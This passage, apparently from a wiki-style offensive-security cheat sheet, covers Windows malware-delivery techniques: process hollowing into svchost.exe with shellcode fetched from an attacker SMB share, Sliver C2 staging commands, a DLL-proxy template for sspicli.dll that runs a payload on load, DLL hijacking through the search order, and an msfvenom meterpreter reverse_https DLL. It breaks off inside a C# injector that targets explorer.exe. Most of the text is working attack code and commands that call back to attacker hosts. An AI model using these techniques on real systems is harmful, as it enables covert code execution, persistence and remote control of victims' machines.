We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# Snippet from process hollowing code. See CheatSheet II for full code.&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
            string shellcodePath = &amp;quot;\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
No I will start an smbserver on my kali and setup sliver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a new profile that will be we will use for our staging listener.&lt;br /&gt;
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode&lt;br /&gt;
# Creata a steage listener and link it to our profile.&lt;br /&gt;
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size&lt;br /&gt;
# Last start a listener on mTLS.&lt;br /&gt;
mtls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Convert .bin to shellcode \x hex ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/JohnHammond/binnim JohnHammond/binnim: Shitty Nim code that reads in a file and converts it into \x hex representation, for the use of shellcode binaries. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./binnim ~/shellcode.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Proxying ==&lt;br /&gt;
&lt;br /&gt;
This method involves creating a malicious DLL that mimics the interface of a legitimate DLL but adds malicious functionality. The proxy DLL forwards legitimate calls to the original DLL while performing malicious activities in the background.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Accenture/Spartacus?source=post_page-----733d423fc67b-------------------------------- sadreck/Spartacus: Spartacus DLL/COM Hijacking Toolkit (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; * Spartacus automates most of the process. It parses raw [https://learn.microsoft.com/en-us/sysinternals/downloads/procmon SysInternals Process Monitor] logs, and you can leave ProcMon running for hours and discover 2nd and 3rd level DLL/COM hijacking vulnerabilities (ie an app that loads another DLL that loads yet another DLL when you use a specific feature of the parent app).&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt; * Automatically generate Visual Studio solutions for vulnerable DLLs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Spartacus.exe --mode dll --procmon C:\Users\Maldev\Destkop\Tools\Sysinternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\vulndll.csv --solution C:\Data\Solution --verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Below is an example of DLL proxying of mattermost. In this example spartacus detected that sspicli.dll is missing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#pragma once&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcceptSecurityContext=C:\\Windows\\System32\\sspicli.AcceptSecurityContext,@4&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleA=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleA,@5&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleW=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleW,@6&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsA=C:\\Windows\\System32\\sspicli.AddCredentialsA,@7&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsW=C:\\Windows\\System32\\sspicli.AddCredentialsW,@8&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageA=C:\\Windows\\System32\\sspicli.AddSecurityPackageA,@9&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageW=C:\\Windows\\System32\\sspicli.AddSecurityPackageW,@10&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ApplyControlToken=C:\\Windows\\System32\\sspicli.ApplyControlToken,@11&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordA=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordA,@12&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordW=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordW,@13&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CompleteAuthToken=C:\\Windows\\System32\\sspicli.CompleteAuthToken,@14&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredMarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredMarshalTargetInfo,@15&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredUnmarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredUnmarshalTargetInfo,@16&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DecryptMessage=C:\\Windows\\System32\\sspicli.DecryptMessage,@17&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityContext=C:\\Windows\\System32\\sspicli.DeleteSecurityContext,@18&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageA=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageA,@19&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageW=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageW,@20&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EncryptMessage=C:\\Windows\\System32\\sspicli.EncryptMessage,@21&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesA=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesA,@22&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesW=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesW,@23&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ExportSecurityContext=C:\\Windows\\System32\\sspicli.ExportSecurityContext,@24&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeContextBuffer=C:\\Windows\\System32\\sspicli.FreeContextBuffer,@25&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeCredentialsHandle=C:\\Windows\\System32\\sspicli.FreeCredentialsHandle,@26&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetSecurityUserInfo=C:\\Windows\\System32\\sspicli.GetSecurityUserInfo,@27&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExA=C:\\Windows\\System32\\sspicli.GetUserNameExA,@28&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExW=C:\\Windows\\System32\\sspicli.GetUserNameExW,@29&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImpersonateSecurityContext=C:\\Windows\\System32\\sspicli.ImpersonateSecurityContext,@30&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextA=C:\\Windows\\System32\\sspicli.ImportSecurityContextA,@31&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextW=C:\\Windows\\System32\\sspicli.ImportSecurityContextW,@32&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceA=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceA,@33&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceW=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceW,@34&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextA=C:\\Windows\\System32\\sspicli.InitializeSecurityContextA,@35&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextW=C:\\Windows\\System32\\sspicli.InitializeSecurityContextW,@36&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LogonUserExExW=C:\\Windows\\System32\\sspicli.LogonUserExExW,@37&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaCallAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaCallAuthenticationPackage,@38&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectLocalUser=C:\\Windows\\System32\\sspicli.LsaConnectLocalUser,@39&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectUntrusted=C:\\Windows\\System32\\sspicli.LsaConnectUntrusted,@40&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaDeregisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaDeregisterLogonProcess,@41&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaEnumerateLogonSessions=C:\\Windows\\System32\\sspicli.LsaEnumerateLogonSessions,@42&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaFreeReturnBuffer=C:\\Windows\\System32\\sspicli.LsaFreeReturnBuffer,@43&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaGetLogonSessionData=C:\\Windows\\System32\\sspicli.LsaGetLogonSessionData,@44&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLogonUser=C:\\Windows\\System32\\sspicli.LsaLogonUser,@45&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLookupAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaLookupAuthenticationPackage,@46&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaRegisterLogonProcess,@47&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaRegisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaRegisterPolicyChangeNotification,@48&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaSetMachineCertificate=C:\\Windows\\System32\\sspicli.LsaSetMachineCertificate,@49&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaUnregisterPolicyChangeNotification=C:\\Windows\\System32\\sspicli.LsaUnregisterPolicyChangeNotification,@50&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:MakeSignature=C:\\Windows\\System32\\sspicli.MakeSignature,@51&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesA=C:\\Windows\\System32\\sspicli.QueryContextAttributesA,@52&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExA=C:\\Windows\\System32\\sspicli.QueryContextAttributesExA,@53&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesExW=C:\\Windows\\System32\\sspicli.QueryContextAttributesExW,@54&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryContextAttributesW=C:\\Windows\\System32\\sspicli.QueryContextAttributesW,@55&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesA,@56&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExA=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExA,@57&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesExW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesExW,@58&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QueryCredentialsAttributesW=C:\\Windows\\System32\\sspicli.QueryCredentialsAttributesW,@59&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityContextToken=C:\\Windows\\System32\\sspicli.QuerySecurityContextToken,@60&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoA=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoA,@61&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:QuerySecurityPackageInfoW=C:\\Windows\\System32\\sspicli.QuerySecurityPackageInfoW,@62&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:RevertSecurityContext=C:\\Windows\\System32\\sspicli.RevertSecurityContext,@63&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslAcceptSecurityContext=C:\\Windows\\System32\\sspicli.SaslAcceptSecurityContext,@64&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesA=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesA,@65&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslEnumerateProfilesW=C:\\Windows\\System32\\sspicli.SaslEnumerateProfilesW,@66&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetContextOption=C:\\Windows\\System32\\sspicli.SaslGetContextOption,@67&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageA=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageA,@68&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslGetProfilePackageW=C:\\Windows\\System32\\sspicli.SaslGetProfilePackageW,@69&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageA=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageA,@70&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslIdentifyPackageW=C:\\Windows\\System32\\sspicli.SaslIdentifyPackageW,@71&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextA=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextA,@72&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslInitializeSecurityContextW=C:\\Windows\\System32\\sspicli.SaslInitializeSecurityContextW,@73&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SaslSetContextOption=C:\\Windows\\System32\\sspicli.SaslSetContextOption,@74&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SealMessage=C:\\Windows\\System32\\sspicli.SealMessage,@75&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecCacheSspiPackages=C:\\Windows\\System32\\sspicli.SecCacheSspiPackages,@76&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecDeleteUserModeContext=C:\\Windows\\System32\\sspicli.SecDeleteUserModeContext,@1&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SecInitUserModeContext=C:\\Windows\\System32\\sspicli.SecInitUserModeContext,@2&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallFlags=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallFlags,@77&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetCallTarget=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetCallTarget,@78&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciAllocateAndSetIPAddress=C:\\Windows\\System32\\sspicli.SeciAllocateAndSetIPAddress,@79&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciFreeCallContext=C:\\Windows\\System32\\sspicli.SeciFreeCallContext,@80&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SeciIsProtectedUser=C:\\Windows\\System32\\sspicli.SeciIsProtectedUser,@81&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesA=C:\\Windows\\System32\\sspicli.SetContextAttributesA,@82&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetContextAttributesW=C:\\Windows\\System32\\sspicli.SetContextAttributesW,@83&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesA=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesA,@84&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SetCredentialsAttributesW=C:\\Windows\\System32\\sspicli.SetCredentialsAttributesW,@85&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCompareAuthIdentities=C:\\Windows\\System32\\sspicli.SspiCompareAuthIdentities,@86&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiCopyAuthIdentity=C:\\Windows\\System32\\sspicli.SspiCopyAuthIdentity,@87&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentity,@88&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiDecryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiDecryptAuthIdentityEx,@89&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeAuthIdentityAsStrings=C:\\Windows\\System32\\sspicli.SspiEncodeAuthIdentityAsStrings,@90&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncodeStringsAsAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncodeStringsAsAuthIdentity,@91&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentity=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentity,@92&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiEncryptAuthIdentityEx=C:\\Windows\\System32\\sspicli.SspiEncryptAuthIdentityEx,@93&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiExcludePackage=C:\\Windows\\System32\\sspicli.SspiExcludePackage,@94&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiFreeAuthIdentity=C:\\Windows\\System32\\sspicli.SspiFreeAuthIdentity,@95&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetComputerNameForSPN=C:\\Windows\\System32\\sspicli.SspiGetComputerNameForSPN,@96&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiGetTargetHostName=C:\\Windows\\System32\\sspicli.SspiGetTargetHostName,@97&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiIsAuthIdentityEncrypted=C:\\Windows\\System32\\sspicli.SspiIsAuthIdentityEncrypted,@98&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiLocalFree=C:\\Windows\\System32\\sspicli.SspiLocalFree,@99&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiMarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiMarshalAuthIdentity,@100&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredRead=C:\\Windows\\System32\\sspicli.SspiPrepareForCredRead,@101&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiPrepareForCredWrite=C:\\Windows\\System32\\sspicli.SspiPrepareForCredWrite,@102&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiSetChannelBindingFlags=C:\\Windows\\System32\\sspicli.SspiSetChannelBindingFlags,@103&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentity=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentity,@104&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiUnmarshalAuthIdentityInternal=C:\\Windows\\System32\\sspicli.SspiUnmarshalAuthIdentityInternal,@3&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiValidateAuthIdentity=C:\\Windows\\System32\\sspicli.SspiValidateAuthIdentity,@105&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:SspiZeroAuthIdentity=C:\\Windows\\System32\\sspicli.SspiZeroAuthIdentity,@106&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:UnsealMessage=C:\\Windows\\System32\\sspicli.UnsealMessage,@107&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:VerifySignature=C:\\Windows\\System32\\sspicli.VerifySignature,@108&amp;quot;)&lt;br /&gt;
#include &amp;quot;windows.h&amp;quot;&lt;br /&gt;
#include &amp;quot;ios&amp;quot;&lt;br /&gt;
#include &amp;quot;fstream&amp;quot;&lt;br /&gt;
&lt;br /&gt;
// Remove this line if you aren&#039;t proxying any functions.&lt;br /&gt;
HMODULE hModule = LoadLibrary(L&amp;quot;C:\\Windows\\System32\\sspicli.dll&amp;quot;);&lt;br /&gt;
// Remove this function if you aren&#039;t proxying any functions.&lt;br /&gt;
VOID DebugToFile(LPCSTR szInput)&lt;br /&gt;
{&lt;br /&gt;
    std::ofstream log(&amp;quot;spartacus-proxy-sspicli.log&amp;quot;, std::ios_base::app | std::ios_base::out);&lt;br /&gt;
    log &amp;lt;&amp;lt; szInput;&lt;br /&gt;
    log &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;&lt;br /&gt;
}&lt;br /&gt;
void Payload()&lt;br /&gt;
{&lt;br /&gt;
    STARTUPINFO si;&lt;br /&gt;
    PROCESS_INFORMATION pi;&lt;br /&gt;
    wchar_t cmd[] = L&amp;quot;calc.exe&amp;quot;;&lt;br /&gt;
    ZeroMemory(&amp;amp;si, sizeof(si));&lt;br /&gt;
    si.cb = sizeof(si);&lt;br /&gt;
    ZeroMemory(&amp;amp;pi, sizeof(pi));&lt;br /&gt;
    CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &amp;amp;si, &amp;amp;pi);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)&lt;br /&gt;
{&lt;br /&gt;
    switch (ul_reason_for_call)&lt;br /&gt;
    {&lt;br /&gt;
    case DLL_PROCESS_ATTACH:&lt;br /&gt;
        Payload();&lt;br /&gt;
        break;&lt;br /&gt;
    case DLL_THREAD_ATTACH:&lt;br /&gt;
    case DLL_THREAD_DETACH:&lt;br /&gt;
    case DLL_PROCESS_DETACH:&lt;br /&gt;
        break;&lt;br /&gt;
    }&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Hijacking ==&lt;br /&gt;
&lt;br /&gt;
* Use ProcessMonitor with filters&lt;br /&gt;
&amp;lt;code&amp;gt;Result Contains &amp;quot;Name Not Found&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Path Ends With &amp;quot;.dll&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Generate a DLL. See below.&lt;br /&gt;
&lt;br /&gt;
* Name it as with the same name as the missing DLL.&lt;br /&gt;
&lt;br /&gt;
* If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order.&lt;br /&gt;
&lt;br /&gt;
DLL search order is as shown:&lt;br /&gt;
&lt;br /&gt;
* The directory from which the application is loaded (E.g. &#039;&#039;&#039;C:\Program Files\application&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The system directory (&#039;&#039;&#039;C:\Windows\System32&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
* The 16-bit system directory&lt;br /&gt;
&lt;br /&gt;
* The Windows directory&lt;br /&gt;
&lt;br /&gt;
* The current directory&lt;br /&gt;
&lt;br /&gt;
* Directories that are listed in the &#039;&#039;PATH&#039;&#039; environment variable&lt;br /&gt;
&lt;br /&gt;
== DLL Injection ==&lt;br /&gt;
&lt;br /&gt;
* Open Visual Studios&lt;br /&gt;
&lt;br /&gt;
* Choose &amp;lt;code&amp;gt;Class Library (.Net Framework)&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Accept the default name: &amp;lt;code&amp;gt;ClassLibrary1&amp;lt;/code&amp;gt; and proceed.&lt;br /&gt;
&lt;br /&gt;
=== Staged DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https&lt;br /&gt;
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a ConsoleApp. When its run it will inject the generated &#039;&#039;&#039;met.dll &#039;&#039;&#039;above into &#039;&#039;&#039;explorer.exe&#039;&#039;&#039;. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it.&lt;br /&gt;
&lt;br /&gt;
Note that this payload will write the met.dll to &#039;&#039;&#039;disk. &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import the OpenProcess function from the kernel32.dll library.&lt;br /&gt;
        // This function is used to open an existing process by its ID.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Import the VirtualAllocEx function from the kernel32.dll library.&lt;br /&gt;
        // This function allocates memory within a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Import the WriteProcessMemory function from the kernel32.dll library.&lt;br /&gt;
        // This function writes data to an area of memory in a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Import the CreateRemoteThread function from the kernel32.dll library.&lt;br /&gt;
        // This function creates a thread that runs in the address space of a specified process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        // Import the GetProcAddress function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves the address of an exported function or variable from a specified DLL.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        // Import the GetModuleHandle function from the kernel32.dll library.&lt;br /&gt;
        // This function retrieves a handle to the specified module (DLL) in the current process.&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the path to the My Documents folder.&lt;br /&gt;
            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);&lt;br /&gt;
            // Construct the full path to the DLL file to be downloaded.&lt;br /&gt;
            String dllName = dir + &amp;quot;\\met.dll&amp;quot;;&lt;br /&gt;
